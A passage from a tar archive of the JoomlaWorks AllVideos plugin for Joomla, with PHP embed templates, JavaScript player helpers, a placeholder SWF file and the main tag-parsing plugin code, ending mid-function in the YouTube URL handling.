        return '<div class="jwHeaderContainer'.$cssClass.'"><div class="jwHeaderContent">'.JText::_($value).'</div><div class="jwHeaderClr"></div></div>';
    }

    public function fetchTooltip($label, $description, &$node, $control_name, $name)
    {
        return null;
    }
}

class JFormFieldHeader extends JWElementHeader
{
    public $type = 'header';
}

class JElementHeader extends JWElementHeader
{
    public $_name = 'header';
}
                                                                                                                                                                                                                                                                                                                                                                                     content/jw_allvideos/jw_allvideos/includes/sources.php                                              0000705                 00000015747 15242051520 0017374 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

/* -------------------------------- Media Output Templates -------------------------------- */

$nativeVideo = "<video class=\"avPlayer\" style=\"width:{WIDTH}px;height:{HEIGHT}px;\" src=\"{SITEURL}/{FOLDER}/{SOURCE}.{FILE_EXT}\" preload=\"metadata\"{PLAYER_POSTER_FRAME}{PLAYER_AUTOPLAY}{PLAYER_LOOP}{PLAYER_CONTROLS}{PLAYER_MUTED}></video>";

$nativeVideoRemote = "<video class=\"avPlayer\" style=\"width:{WIDTH}px;height:{HEIGHT}px;\" src=\"{SOURCE}\" preload=\"metadata\"{PLAYER_POSTER_FRAME}{PLAYER_AUTOPLAY}{PLAYER_LOOP}{PLAYER_CONTROLS}{PLAYER_MUTED}></video>";

$nativeAudio = "<audio class=\"avPlayer\" style=\"width:{WIDTH}px;height:{HEIGHT}px;{PLAYER_POSTER_FRAME}\" src=\"{SITEURL}/{FOLDER}/{SOURCE}.{FILE_EXT}\" preload=\"metadata\"{PLAYER_AUTOPLAY}{PLAYER_LOOP}{PLAYER_CONTROLS}></audio>";

$nativeAudioRemote = "<audio class=\"avPlayer\" style=\"width:{WIDTH}px;height:{HEIGHT}px;{PLAYER_POSTER_FRAME}\" src=\"{SOURCE}\" preload=\"metadata\"{PLAYER_AUTOPLAY}{PLAYER_LOOP}{PLAYER_CONTROLS}></audio>";

$deprecated = "<a id=\"avID_{SOURCEID}\" class=\"avDeprecated\" href=\"{SITEURL}/{FOLDER}/{SOURCE}.{FILE_EXT}\" download><span>".JText::_('JW_PLG_AV_DEPRECATED_DOWNLOAD')."</span></a>";

$deprecatedRemote = "<a id=\"avID_{SOURCEID}\" class=\"avDeprecated\" href=\"{SOURCE}\" download><span>".JText::_('JW_PLG_AV_DEPRECATED_DOWNLOAD')."</span></a>";



/* -------------------------------- Tags & formats -------------------------------- */
$tagReplace = array(

    /* --- Audio/Video formats --- */

    "avi"         => $nativeVideo,
    "aviremote"   => $nativeVideoRemote,
    "m4v"         => $nativeVideo,
    "m4vremote"   => $nativeVideoRemote,
    "mkv"         => $nativeVideo,
    "mkvremote"   => $nativeVideoRemote,
    "mp4"         => $nativeVideo,
    "mp4remote"   => $nativeVideoRemote,
    "ogv"         => $nativeVideo,
    "ogvremote"   => $nativeVideoRemote,
    "webm"        => $nativeVideo,
    "webmremote"  => $nativeVideoRemote,

    "flac"        => $nativeAudio,
    "flacremote"  => $nativeAudioRemote,
    "m4a"         => $nativeAudio,
    "m4aremote"   => $nativeAudioRemote,
    "mp3"         => $nativeAudio,
    "mp3remote"   => $nativeAudioRemote,
    "oga"         => $nativeAudio,
    "ogaremote"   => $nativeAudioRemote,
    "ogg"         => $nativeAudio,
    "oggremote"   => $nativeAudioRemote,
    "wav"         => $nativeAudio,
    "wavremote"   => $nativeAudioRemote,

    "3g2"         => $deprecated,
    "3g2remote"   => $deprecatedRemote,
    "3gp"         => $deprecated,
    "3gpremote"   => $deprecatedRemote,
    "aac"         => $deprecated,
    "aacremote"   => $deprecatedRemote,
    "divx"        => $deprecated,
    "divxremote"  => $deprecatedRemote,
    "f4v"         => $deprecated,
    "f4vremote"   => $deprecatedRemote,
    "flv"         => $deprecated,
    "flvremote"   => $deprecatedRemote,
    "mov"         => $deprecated,
    "movremote"   => $deprecatedRemote,
    "mpeg"        => $deprecated,
    "mpegremote"  => $deprecatedRemote,
    "mpg"         => $deprecated,
    "mpgremote"   => $deprecatedRemote,
    "swf"         => $deprecated,
    "swfremote"   => $deprecatedRemote,
    "wma"         => $deprecated,
    "wmaremote"   => $deprecatedRemote,
    "wmv"         => $deprecated,
    "wmvremote"   => $deprecatedRemote,



    /* --- 3rd party media providers --- */

    // youtube.com - https://www.youtube.com/watch?v=g5lGNkS5TE0 or https://www.youtube.com/playlist?list=PL0875C16C899A8DE6
    "YouTube" => "<iframe src=\"https://www.youtube.com/embed/{SOURCE}\" width=\"{WIDTH}\" height=\"{HEIGHT}\" allow=\"autoplay; fullscreen; encrypted-media\" allowfullscreen=\"true\" frameborder=\"0\" scrolling=\"no\" title=\"JoomlaWorks AllVideos Player\"></iframe>",

    // dailymotion.com - https://www.dailymotion.com/featured/video/x35714_cap-nord-projet-1_creation
    "Dailymotion" => "<iframe src=\"https://www.dailymotion.com/embed/video/{SOURCE}\" width=\"{WIDTH}\" height=\"{HEIGHT}\" allow=\"autoplay; fullscreen\" allowfullscreen=\"true\" frameborder=\"0\" scrolling=\"no\" title=\"JoomlaWorks AllVideos Player\"></iframe>",

    // facebook.com - https://www.facebook.com/Channel4News/videos/10155042102006939/
    "Facebook" => "<iframe src=\"https://www.facebook.com/plugins/video.php?href={SOURCE}&show_text=0&width={WIDTH}\" width=\"{WIDTH}\" height=\"{HEIGHT}\" allow=\"autoplay; fullscreen\" allowfullscreen=\"true\" frameborder=\"0\" scrolling=\"no\" title=\"JoomlaWorks AllVideos Player\"></iframe>",

    // flickr.com - https://www.flickr.com/photos/bswise/5930051523/in/pool-726923@N23/
    "Flickr" => "
    <script type=\"text/javascript\">
        allvideos.ready(function(){
            allvideos.embed({
                'url': 'https://json2jsonp.com/?callback=flickr{SOURCEID}&url=https%3A%2F%2Fwww.flickr.com%2Fservices%2Foembed%2F%3Fformat%3Djson%26maxwidth%3D{WIDTH}%26maxheight%3D{HEIGHT}%26url%3D{SOURCE}',
                'callback': 'flickr{SOURCEID}',
                'playerID': 'avID_{SOURCEID}'
            });
        });
    </script>
    <div id=\"avID_{SOURCEID}\" title=\"JoomlaWorks AllVideos Player\">&nbsp;</div>
    ",

    // mixcloud.com - https://www.mixcloud.com/worldwidefm/joao-gilberto-by-gilles-peterson-25-02-20/
    "Mixcloud" => "<iframe src=\"https://www.mixcloud.com/widget/iframe/?hide_cover=1&light=1&autoplay={PROVIDER_AUTOPLAY}&feed={SOURCE}\" width=\"{WIDTH}\" height=\"{HEIGHT}\" allow=\"autoplay; fullscreen\" allowfullscreen=\"true\" frameborder=\"0\" scrolling=\"no\" title=\"JoomlaWorks AllVideos Player\"></iframe>",

    // soundcloud.com - https://soundcloud.com/sebastien-tellier/look
    "SoundCloud" => "
    <script type=\"text/javascript\">
        allvideos.ready(function(){
            allvideos.embed({
                'url': 'https://soundcloud.com/oembed?format=js&iframe=true&callback=soundcloud{SOURCEID}&auto_play={PROVIDER_AUTOPLAY}&maxwidth={WIDTH}&url={SOURCE}',
                'callback': 'soundcloud{SOURCEID}',
                'playerID': 'avID_{SOURCEID}'
            });
        });
    </script>
    <div id=\"avID_{SOURCEID}\" title=\"JoomlaWorks AllVideos Player\">&nbsp;</div>
    ",

    // twitch.com - https://www.twitch.tv/videos/470125293
    "Twitch" => "<iframe src=\"https://player.twitch.tv/?video=v{SOURCE}\" width=\"{WIDTH}\" height=\"{HEIGHT}\" allow=\"autoplay; fullscreen\" allowfullscreen=\"true\" frameborder=\"0\" scrolling=\"no\" title=\"JoomlaWorks AllVideos Player\"></iframe>",

    // vimeo.com - https://www.vimeo.com/1319796
    "Vimeo" => "<iframe src=\"https://player.vimeo.com/video/{SOURCE}\" width=\"{WIDTH}\" height=\"{HEIGHT}\" allow=\"autoplay; fullscreen\" allowfullscreen=\"true\" frameborder=\"0\" scrolling=\"no\" title=\"JoomlaWorks AllVideos Player\"></iframe>"

);
                         content/jw_allvideos/jw_allvideos/includes/js/behaviour.js                                          0000705                 00000007427 15242051520 0020132 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       /**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

var allvideos = {
    ready: function(cb) {
        /in/.test(document.readyState) ? setTimeout('allvideos.ready(' + cb + ')', 9) : cb();
    },

    getRemoteJson: function(url) {
        var remoteJsonScript = document.createElement('script');
        remoteJsonScript.setAttribute('charset', 'utf-8');
        remoteJsonScript.setAttribute('type', 'text/javascript');
        remoteJsonScript.setAttribute('async', 'true');
        remoteJsonScript.setAttribute('src', url);
        return remoteJsonScript;
    },

    embed: function(el) {
        var jsonpCallback = el.callback;
        var tempId = Math.floor(Math.random() * 1000) + 1;
        var responseContainer = [];
        window[jsonpCallback] = function(response) {
            responseContainer.tempId = [response];
        };
        var head = document.getElementsByTagName('head')[0];
        var jsonp = this.getRemoteJson(el.url);
        jsonp.onloadDone = false;
        jsonp.onload = function() {
            if (!jsonp.onloadDone) {
                jsonp.onloadDone = true;
                document.getElementById(el.playerID).innerHTML = responseContainer.tempId[0].html;
            }
        };
        jsonp.onreadystatechange = function() {
            if (("loaded" === jsonp.readyState || "complete" === jsonp.readyState) && !jsonp.onloadDone) {
                jsonp.onloadDone = true;
                document.getElementById(el.playerID).innerHTML = responseContainer.tempId[0].html;
            }
        }
        head.appendChild(jsonp);
    }
}

function allVideosMakeVideoPoster(source, container) {
    if (source.autoplay || source.poster) {
        return;
    }
    var videoClass = source.getAttribute('class');
    var videoStyle = source.getAttribute('style');
    var videoURL = source.getAttribute('src');
    var videoControls = (source.controls ? ' controls' : '');
    var videoControlsList = (source.controlsList ? ' controlsList="' + source.controlsList + '"' : '');
    var videoPoster = '';
    var secToSeek = 5;

    var v = document.createElement('video');
    v.setAttribute('preload', 'metadata');
    v.src = videoURL + '#t=' + secToSeek;
    v.onseeked = function(e) {
        var canvas = document.createElement('canvas');
        canvas.width = v.videoWidth;
        canvas.height = v.videoHeight;
        var ctx = canvas.getContext('2d');
        ctx.drawImage(v, 0, 0, canvas.width, canvas.height);
        videoPoster = canvas.toDataURL();
        container.innerHTML = '<video class="' + videoClass + '" style="' + videoStyle + '" src="' + videoURL + '" poster="' + videoPoster + '" preload="metadata"' + videoControls + '' + videoControlsList + '></video>';
    };
}

function allVideosHelper() {
    var i = 0,
        j = 0,
        deprecated = document.querySelectorAll(".avDeprecated"),
        deprecatedCount = deprecated.length,
        videos = document.querySelectorAll("video.avPlayer"),
        videosCount = videos.length;

    if (deprecatedCount) {
        for (j; j < deprecatedCount; j++) {
            var parent = deprecated[j].parentNode;
            parent.setAttribute('class', 'avPlayerBlockDisabled');
        }
    }

    if (videosCount) {
        for (i; i < videosCount; i++) {
            var container = videos[i].parentNode;
            allVideosMakeVideoPoster(videos[i], container);
        }
    }
}

if (window.addEventListener) {
    window.addEventListener("DOMContentLoaded", allVideosHelper, false);
} else if (window.attachEvent) {
    window.attachEvent("onload", allVideosHelper);
} else {
    window.onload = allVideosHelper;
}
                                                                                                                                                                                                                                         content/jw_allvideos/jw_allvideos/includes/js/mediaplayer/player.swf                                0000705                 00000000135 15242051520 0022106 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       This is a dummy file placed to protect you from an old compromised version of this .swf file.                                                                                                                                                                                                                                                                                                                                                                                                                                   content/jw_allvideos/jw_allvideos/includes/helper.php                                               0000705                 00000003073 15242051520 0017155 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    5.1.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - http://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2019 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

class AllVideosHelper
{
    // Path overrides
    public static function getTemplatePath($pluginName, $file, $tmpl)
    {
        $app = JFactory::getApplication();
        $p = new JObject;
        $pluginGroup = 'content';

        if (file_exists(JPATH_SITE.'/'.'templates'.'/'.$app->getTemplate().'/html/'.$pluginName.'/'.$tmpl.'/'.$file)) {
            $p->file = JPATH_SITE.'/templates/'.$app->getTemplate().'/html/'.$pluginName.'/'.$tmpl.'/'.$file;
            $p->http = JURI::root(true)."/templates/".$app->getTemplate()."/html/{$pluginName}/{$tmpl}/{$file}";
        } else {
            if (version_compare(JVERSION, '2.5.0', 'ge')) {
                // Joomla 2.5 or newer
                $p->file = JPATH_SITE.'/plugins/'.$pluginGroup.'/'.$pluginName.'/'.$pluginName.'/tmpl/'.$tmpl.'/'.$file;
                $p->http = JURI::root(true)."/plugins/{$pluginGroup}/{$pluginName}/{$pluginName}/tmpl/{$tmpl}/{$file}";
            } else {
                // Joomla 1.5
                $p->file = JPATH_SITE.'/plugins/'.$pluginGroup.'/'.$pluginName.'/tmpl/'.$tmpl.'/'.$file;
                $p->http = JURI::root(true)."/plugins/{$pluginGroup}/{$pluginName}/tmpl/{$tmpl}/{$file}";
            }
        }
        return $p;
    }
} // end class
                                                                                                                                                                                                                                                                                                                                                                                                                                                                     content/jw_allvideos/jw_allvideos.php                                                               0000705                 00000067475 15242051520 0014110 0                                                                                                    ustar 00                                                                                                                                                                                                                                                       <?php
/**
 * @version    7.0
 * @package    AllVideos (plugin)
 * @author     JoomlaWorks - https://www.joomlaworks.net
 * @copyright  Copyright (c) 2006 - 2025 JoomlaWorks Ltd. All rights reserved.
 * @license    GNU/GPL license: https://www.gnu.org/copyleft/gpl.html
 */

// no direct access
defined('_JEXEC') or die('Restricted access');

// Joomla 1.5
if (version_compare(JVERSION, '1.6', 'lt')) {
    jimport('joomla.plugin.plugin');
}

// Joomla 4 & 5
if (version_compare(JVERSION, '4', 'ge')) {
    $aliases = [
        'JFactory' => 'Joomla\\CMS\\Factory',
        'JPlugin' => 'Joomla\\CMS\\Plugin\\CMSPlugin',
        'JPluginHelper' => 'Joomla\\CMS\\Plugin\\PluginHelper',
        'JRegistry' => 'Joomla\\Registry\\Registry',
        'JText' => 'Joomla\\CMS\\Language\\Text',
        'JUri' => 'Joomla\\CMS\\Uri\\Uri',
    ];
    foreach ($aliases as $legacy => $modern) {
        if (class_exists($modern) && !class_exists($legacy)) {
            class_alias($modern, $legacy);
        }
    }
}

class plgContentJw_allvideos extends JPlugin
{
    // JoomlaWorks reference parameters
    public $plg_name             = "jw_allvideos";
    public $plg_copyrights_start = "\n\n<!-- JoomlaWorks \"AllVideos\" Plugin (v7.0) starts here -->\n";
    public $plg_copyrights_end   = "\n<!-- JoomlaWorks \"AllVideos\" Plugin (v7.0) ends here -->\n\n";

    public function __construct(&$subject, $params)
    {
        parent::__construct($subject, $params);
    }

    // Joomla 1.5
    public function onPrepareContent(&$row, &$params, $page = 0)
    {
        $this->renderAllVideos($row, $params, $page = 0);
    }

    // Joomla 2.5+
    public function onContentPrepare($context, &$row, &$params, $page = 0)
    {
        // Do not process the plugin in the indexer context
        if ($context === 'com_finder.indexer') {
            return;
        }
        $this->renderAllVideos($row, $params, $page = 0);
    }

    // The main function
    public function renderAllVideos(&$row, &$params, $page = 0)
    {
        // API
        $app = JFactory::getApplication();
        $document  = JFactory::getDocument();

        if (version_compare(JVERSION, '4', 'ge')) {
            $jinput = $app->input;
            $format = $jinput->getCmd('format');
        } else {
            $format = JRequest::getCmd('format');
        }

        // Assign paths
        $sitePath = JPATH_SITE;
        $siteUrl  = JUri::root(true);
        if (version_compare(JVERSION, '2.5.0', 'ge')) {
            $pluginLivePath = $siteUrl.'/plugins/content/'.$this->plg_name.'/'.$this->plg_name;
        } else {
            $pluginLivePath = $siteUrl.'/plugins/content/'.$this->plg_name;
        }

        // Check if the plugin is enabled
        if (JPluginHelper::isEnabled('content', $this->plg_name) == false) {
            return;
        }

        // Load the plugin language file the proper way
        JPlugin::loadLanguage('plg_content_'.$this->plg_name, JPATH_ADMINISTRATOR);

        // Includes
        $tagReplace = array();
        require dirname(__FILE__).'/'.$this->plg_name.'/includes/sources.php';

        // Simple performance check to determine whether plugin should process further
        $grabTags = strtolower(implode("|", array_keys($tagReplace)));
        if (preg_match("~{(".$grabTags.")}~is", $row->text) == false) {
            return;
        }



        // ----------------------------------- Get plugin parameters -----------------------------------

        // Get plugin info
        $plugin = JPluginHelper::getPlugin('content', $this->plg_name);

        // Control external parameters and set variable for controlling plugin layout within modules
        if (!$params) {
            $params = class_exists('JParameter') ? new JParameter(null) : new JRegistry(null);
        }
        if (is_string($params)) {
            $params = class_exists('JParameter') ? new JParameter($params) : new JRegistry($params);
        }
        $parsedInModule = $params->get('parsedInModule');

        $pluginParams = class_exists('JParameter') ? new JParameter($plugin->params) : new JRegistry($plugin->params);

        $playerTemplate         = ($params->get('playerTemplate')) ? $params->get('playerTemplate') : $pluginParams->get('playerTemplate', 'Responsive');
        /* Video Parameters */
        $vfolder                = ($params->get('vfolder')) ? $params->get('vfolder') : $pluginParams->get('vfolder', 'images/stories/videos');
        $vwidth                 = ($params->get('vwidth')) ? $params->get('vwidth') : $pluginParams->get('vwidth', 400);
        $vheight                = ($params->get('vheight')) ? $params->get('vheight') : $pluginParams->get('vheight', 300);
        $muted                  = ($params->get('muted')) ? $params->get('muted') : $pluginParams->get('muted', 0);
        $muted                  = ($muted) ? ' muted' : '';
        $allowVideoDownloading  = $pluginParams->get('allowVideoDownloading', 0);
        /* Audio Parameters */
        $afolder                = ($params->get('afolder')) ? $params->get('afolder') : $pluginParams->get('afolder', 'images/stories/audio');
        $awidth                 = ($params->get('awidth')) ? $params->get('awidth') : $pluginParams->get('awidth', 480);
        $aheight                = ($params->get('aheight')) ? $params->get('aheight') : $pluginParams->get('aheight', 24);
        $randomPosterForAudio   = ($params->get('randomPosterForAudio')) ? $params->get('randomPosterForAudio') : $pluginParams->get('randomPosterForAudio', 0);
        $allowAudioDownloading  = $pluginParams->get('allowAudioDownloading', 0);
        /* Global Parameters */
        $maxwidth               = trim($pluginParams->get('maxwidth', ''));
        $maxwidth               = ($maxwidth) ? ' style="max-width:'.$maxwidth.';"' : '';
        $controls               = $pluginParams->get('controls', '1');
        $controls               = ($controls) ? ' controls' : '';
        $autoplay               = ($params->get('autoplay')) ? $params->get('autoplay') : $pluginParams->get('autoplay', 0);
        $loop                   = ($params->get('loop')) ? $params->get('loop') : $pluginParams->get('loop', 0);
        $ytnocookie             = ($params->get('ytnocookie')) ? $params->get('ytnocookie') : $pluginParams->get('ytnocookie', 0);

        // Variable cleanups for K2
        if ($format == 'raw') {
            $this->plg_copyrights_start = '';
            $this->plg_copyrights_end = '';
        }



        // ----------------------------------- Render the output -----------------------------------

        // Append head includes only when the document is in HTML mode
        if ($format == 'html' || $format == '') {
            // CSS
            $avCSS = $this->getTemplatePath($this->plg_name, 'css/template.css', $playerTemplate);
            $avCSS = $avCSS->http;
            $document->addStyleSheet($avCSS.'?v=7.0');

            // JS
            $document->addScript($pluginLivePath.'/includes/js/behaviour.js?v=7.0');
        }

        // Loop throught the found tags
        $tagReplace = array_change_key_case($tagReplace, CASE_LOWER);
        foreach ($tagReplace as $plg_tag => $value) {
            $cloned_plg_tag = $plg_tag;
            $plg_tag = strtolower($plg_tag);

            // expression to search for
            $regex = "~{".$plg_tag."}.*?{/".$plg_tag."}~is";

            // replacements for content to avoid issues with RegEx
            $row->text = str_replace('~', '&#126;', $row->text);

            // process tags
            if (preg_match_all($regex, $row->text, $matches, PREG_PATTERN_ORDER)) {

                // start the replace loop
                foreach ($matches[0] as $key => $match) {
                    $tagcontent = preg_replace("/{.+?}/", "", $match);
                    $tagcontent = str_replace(array('"','\'','`'), array('&quot;','&apos;','&#x60;'), $tagcontent); // Address potential XSS attacks
                    $tagparams = explode('|', $tagcontent);
                    $tagsource = trim(strip_tags($tagparams[0]));

                    // Prepare the HTML
                    $output = new stdClass();

                    $output->controls = $controls;

                    // Width/height/source folder split per media type
                    if (in_array($plg_tag, array(
                        'flac',
                        'flacremote',
                        'm4a',
                        'm4aremote',
                        'mp3',
                        'mp3remote',
                        'oga',
                        'ogaremote',
                        'ogg',
                        'oggremote',
                        'wav',
                        'wavremote',
                        'mixcloud',
                        'soundcloud'
                    ))) {
                        if ($plg_tag == 'mixcloud' || $plg_tag == 'soundcloud') {
                            if ($plg_tag == 'mixcloud') {
                                $output->mediaTypeClass = ' avMixcloud';
                                $output->overrideAudioWidth = '100%';
                                $output->overrideAudioHeight = '120';
                            }
                            if ($plg_tag == 'soundcloud') {
                                if (strpos($tagsource, '/sets/') !== false) {
                                    $output->mediaTypeClass = ' avSoundCloudSet';
                                } else {
                                    $output->mediaTypeClass = ' avSoundCloudSong';
                                }
                            }
                            $output->mediaType = 'provider';
                            $output->source = $tagsource;
                            $output->posterFrame = '';
                        } else {
                            $output->mediaTypeClass = ' avAudio';
                            $output->mediaType = 'audio';

                            $output->randomPosterFrame = (isset($tagparams[5])) ? $tagparams[5] : $randomPosterForAudio;

                            if (strpos($plg_tag, 'remote') !== false) {
                                $output->source = $tagsource;
                                $output->posterFrame = ($plg_tag == 'flacremote') ? substr($tagsource, 0, -4).'jpg' : substr($tagsource, 0, -3).'jpg';
                                $output->posterFrame = "background-image:url('".$output->posterFrame."');";
                            } else {
                                $output->source = "$siteUrl/$afolder/$tagsource.$plg_tag";
                                $posterFramePath = $sitePath.'/'.$afolder;
                                if (file_exists($posterFramePath.'/'.$tagsource.'.jpg')) {
                                    $output->posterFrame = $siteUrl.'/'.$afolder.'/'.$tagsource.'.jpg';
                                } elseif (file_exists($posterFramePath.'/'.$tagsource.'.png')) {
                                    $output->posterFrame = $siteUrl.'/'.$afolder.'/'.$tagsource.'.png';
                                } elseif (file_exists($posterFramePath.'/'.$tagsource.'.gif')) {
                                    $output->posterFrame = $siteUrl.'/'.$afolder.'/'.$tagsource.'.gif';
                                } elseif (file_exists($posterFramePath.'/'.$tagsource.'.webp')) {
                                    $output->posterFrame = $siteUrl.'/'.$afolder.'/'.$tagsource.'.webp';
                                } else {
                                    if ($output->randomPosterFrame) {
                                        $output->posterFrame = 'https://source.unsplash.com/800x450/?music,sound,audio,concert&id=AVPlayerID_'.$key.'_'.md5($output->source);
                                    } else {
                                        $output->posterFrame = '';
                                        $output->mediaTypeClass .= ' avNoPoster';
                                    }
                                }
                                if ($output->posterFrame) {
                                    $output->posterFrame = "background-image:url('".$output->posterFrame."');";
                                    $output->overrideAudioHeight = ($awidth * 9 / 16);
                                }
                            }
                        }

                        if (!empty($output->overrideAudioWidth)) {
                            $audioWidth = $output->overrideAudioWidth;
                        } else {
                            $audioWidth = $awidth;
                        }
                        $final_awidth = (!empty($tagparams[1])) ? $tagparams[1] : $audioWidth;

                        if (!empty($output->overrideAudioHeight)) {
                            $audioHeight = $output->overrideAudioHeight;
                        } else {
                            $audioHeight = $aheight;
                        }
                        $final_aheight = (!empty($tagparams[2])) ? $tagparams[2] : $audioHeight;

                        $output->playerWidth = $final_awidth;
                        $output->playerHeight = $final_aheight;
                        $output->folder = $afolder;

                        if (!$allowAudioDownloading && $controls) {
                            $output->controls = $controls.' controlsList="nodownload"';
                        }
                    } else {
                        if (in_array($plg_tag, array('dailymotion','facebook','flickr','twitch','vimeo','youtube'))) {
                            $output->mediaTypeClass = ' avVideo';
                            $output->mediaType = 'provider';
                            $output->source = $tagsource;
                            $output->posterFrame = '';
                        } else {
                            $output->mediaTypeClass = ' avVideo';
                            $output->mediaType = 'video';
                            if (strpos($plg_tag, 'remote') !== false) {
                                $output->source = $tagsource;
                                $output->posterFrame = '';
                            } else {
                                $output->source = "$siteUrl/$vfolder/$tagsource.$plg_tag";
                                $posterFramePath = $sitePath.'/'.$vfolder;
                                if (file_exists($posterFramePath.'/'.$tagsource.'.jpg')) {
                                    $output->posterFrame = $siteUrl.'/'.$vfolder.'/'.$tagsource.'.jpg';
                                } elseif (file_exists($posterFramePath.'/'.$tagsource.'.png')) {
                                    $output->posterFrame = $siteUrl.'/'.$vfolder.'/'.$tagsource.'.png';
                                } elseif (file_exists($posterFramePath.'/'.$tagsource.'.gif')) {
                                    $output->posterFrame = $siteUrl.'/'.$vfolder.'/'.$tagsource.'.gif';
                                } elseif (file_exists($posterFramePath.'/'.$tagsource.'.webp')) {
                                    $output->posterFrame = $siteUrl.'/'.$vfolder.'/'.$tagsource.'.webp';
                                } else {
                                    $output->posterFrame = '';
                                }

                                if ($output->posterFrame) {
                                    $output->posterFrame = ' poster="'.$output->posterFrame.'"';
                                }
                            }
                        }

                        $final_vwidth = (!empty($tagparams[1])) ? $tagparams[1] : $vwidth;
                        $final_vheight = (!empty($tagparams[2])) ? $tagparams[2] : $vheight;

                        $output->playerWidth = $final_vwidth;
                        $output->playerHeight = $final_vheight;
                        $output->folder = $vfolder;

                        if (!$allowVideoDownloading && $controls) {
                            $output->controls = $controls.' controlsList="nodownload"';
                        }
                    }

                    // Autoplay
                    $tag_autoplay = (!empty($tagparams[3])) ? $tagparams[3] : $autoplay;
                    $provider_autoplay = ($tag_autoplay) ? 'true' : 'false';
                    $player_autoplay = ($tag_autoplay) ? ' autoplay' : '';

                    // Loop
                    $final_loop = (!empty($tagparams[4])) ? $tagparams[4] : $loop;
                    $final_loop = ($final_loop) ? ' loop' : '';

                    // Special treatment for specific video providers
                    if ($plg_tag == "dailymotion") {
                        $tagsource = preg_replace("~(http|https):(.+?)dailymotion.com\/video\/~s", "", $tagsource);
                        $tagsourceDailymotion = explode('_', $tagsource);
                        $tagsource = $tagsourceDailymotion[0];

                        // Autoplay
                        if ($provider_autoplay == 'true') {
                            if (strpos($tagsource, '?') !== false) {
                                $tagsource = $tagsource.'&amp;autoplay=1';
                            } else {
                                $tagsource = $tagsource.'?autoplay=1';
                            }
                        }

                        // Loop
                        if ($final_loop) {
                            $tagsource = $tagsource.'&amp;loop=1';
                        }

                        // Muted
                        if ($muted) {
                            $tagsource = $tagsource.'&amp;mute=1';
                        }
                    }

                    if ($plg_tag == "facebook") {
                        $tagsource = urlencode($tagsource);

                        // Autoplay
                        if ($provider_autoplay == 'true') {
                            $tagsource = $tagsource.'&amp;autoplay=1';
                        }

                        // Loop
                        if ($final_loop) {
                            $tagsource = $tagsource.'&amp;loop=1';
                        }

                        // Muted
                        if ($muted) {
                            $tagsource = $tagsource.'&amp;mute=1';
                        }
                    }

                    if ($plg_tag == "flickr") {
                        if (strpos($tagsource, 'http') !== false) {
                            $tagsource = urlencode($tagsource);
                        }
                    }

                    if ($plg_tag == "mixcloud") {
                        if (strpos($tagsource, 'http') !== false) {
                            $tagsource = str_replace('https://www.mixcloud.com', '', $tagsource);
                            $tagsource = urlencode($tagsource);
                        }
                    }

                    if ($plg_tag == "twitch") {
                        if (strpos($tagsource, 'http') !== false) {
                            $tagsource = preg_replace("~(http|https):(.+?)twitch.tv\/videos\/~s", "", $tagsource);
                        }

                        // Autoplay
                        if ($provider_autoplay == 'true') {
                            $tagsource = $tagsource.'&amp;autoplay=1';
                        }

                        // Loop
                        if ($final_loop) {
                            $tagsource = $tagsource.'&amp;loop=1';
                        }

                        // Muted
                        if ($muted) {
                            $tagsource = $tagsource.'&amp;mute=1';
                        }
                    }

                    if ($plg_tag == "vimeo") {
                        $tagsource = preg_replace("~(http|https):(.+?)vimeo.com\/~s", "", $tagsource);
                        if (strpos($tagsource, '?') !== false) {
                            $tagsource = $tagsource.'&amp;portrait=0';
                        } else {
                            $tagsource = $tagsource.'?portrait=0';
                        }

                        // Autoplay
                        if ($provider_autoplay == 'true') {
                            $tagsource = $tagsource.'&amp;autoplay=1';
                        }

                        // Loop
                        if ($final_loop) {
                            $tagsource = $tagsource.'&amp;loop=1';
                        }

                        // Muted
                        if ($muted) {
                            $tagsource = $tagsource.'&amp;background=1';
                        }
                    }

                    if ($plg_tag == "youtube") {
                        // Check the presence of fully pasted URLs
                        if (strpos($tagsource, 'youtube.com') !== false) {
                            if (strpos($tagsource, 'youtube.com/shorts/') !== false) {
                                if (strpos($tagsource, '?') !== false) {
                                    $tagsource = explode('?', $tagsource)[0];
                                }
                                $tagsource = explode('/shorts/', $tagsource)[1];
                            } else {
                                $ytQuery = parse_url($tagsource, PHP_URL_QUERY);
                                if (is_array($ytQuery)) {
                                    $ytQuery = implode("&", $ytQuery);
                                }
                                $ytQuery = str_replace('&amp;', '&', $ytQuery);
                            }
                        } elseif (strpos($tagsource, 'youtu.be') !== false) {
                            $ytQuery = explode('youtu.be/', $tagsource);
                            $ytQuery = $ytQuery[1];
                            $tagsource = $ytQuery;
                        } else {
                            $ytQuery = $tagsource;
                        }

                        // Process string
                        if (strpos($ytQuery, '&') !== false) {
                            $ytQuery = explode('&', $ytQuery);
                            $ytParams = array();
                            foreach ($ytQuery as $ytParam) {
                                $ytParam = explode('=', $ytParam);
                                $ytParams[$ytParam[0]] = (!empty($ytParam[1])) ? $ytParam[1] : null;
                            }
                            if (array_key_exists('v', $ytParams)) {
                                $tagsource = $ytParams['v'];
                            } elseif (array_key_exists('list', $ytParams)) {
                                $tagsource = 'videoseries?list='.$ytParams['list'];
                            }
                        } elseif (strpos($ytQuery, '=') !== false) {
                            $ytQuery = explode('=', $ytQuery);
                            $ytParams = array();
                            $ytParams[$ytQuery[0]] = (!empty($ytQuery[1])) ? $ytQuery[1] : null;
                            if (array_key_exists('v', $ytParams)) {
                                $tagsource = $ytParams['v'];
                            } elseif (array_key_exists('list', $ytParams)) {
                                $tagsource = 'videoseries?list='.$ytParams['list'];
